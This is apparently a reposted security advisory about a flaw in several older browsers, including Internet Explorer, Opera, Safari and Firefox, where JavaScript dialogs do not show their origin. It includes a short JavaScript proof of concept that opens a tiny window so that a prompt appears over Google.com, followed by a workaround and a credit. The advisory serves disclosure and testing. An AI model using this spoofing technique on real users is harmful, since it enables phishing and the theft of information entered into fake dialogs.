[NEWS] Multiple Browsers Dialog Origin Vulnerability (Test)

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  Multiple Browsers Dialog Origin Vulnerability (Test)
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SUMMARY

By crafting a special JavaScript code attackers can steal information from 
users by mimicking the look and feel of a trusted web site, and preforming 
a man in the middle attack.

DETAILS

Vulnerable Systems:
 * Internet Explorer for Mac version 5.x
 * Internet Explorer version 6.x
 * Opera version 7.x
 * Opera version 8.x
 * Safari version 1.x
 * iCab version 2.x
 * Mozilla version 1.7.x
 * FireFox version 0.x
 * FireFox version 1.x
 * Camino version 0.x
 * NetCaptor version 7.5.4

The problem is that JavaScript dialog boxes do not display or include 
their origin, which allows a new window to open e.g. a prompt dialog box, 
which appears to be from a trusted site.

Proof of Concept:
< script language="JavaScript" type="text/javascript">
var o_height = 768;
var o_width = 1024;

if ( screen.width > 100 )
{
 o_width = screen.width;
}

if ( screen.height > 100 )
{
 o_height = screen.height;
}

function run()
{
 if ( window.opera )
 {
  window.open('http://www.google.com.secunia.com/tests/origin_spoof.php', 
'_blank', 
height=1,width=1,left=3000,top=3000,resizable=no,scrollbars=no');
 }
 else
 {
  window.open('http://www.google.com.secunia.com/tests/origin_spoof.php', 
'_blank', 'height=1,width=1,resizable=no,scrollbars=no,left=' + ((o_width 
/ 2) - 50) + ',top=' + ((o_height / 2) - 150) );
 }
 window.focus();
}
</script>


This demonstration will open the Google.com web site. After a while, a 
JavaScript dialog will be displayed in front of the Google.com web site.

< a href="http://www.google.com/" onclick="run();">< font 
color="#000000">Test Now - Left Click On This Link</font></a> 

You are vulnerable, if a JavaScript dialog box appears in front of the 
Google.com web site without displaying information about its origin.

Workaround:
Disable Javascript support with your web browser.  And do not mix your 
surfing of trusted sites with untrusted web sites.

Vendors Status:
None of the vendors has released any fixes for this issue.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> 
Juha-Matti Laurio .
The original article can be found at:  
<http://secunia.com/multiple_browsers_dialog_origin_vulnerability_test/> 
http://secunia.com/multiple_browsers_dialog_origin_vulnerability_test/



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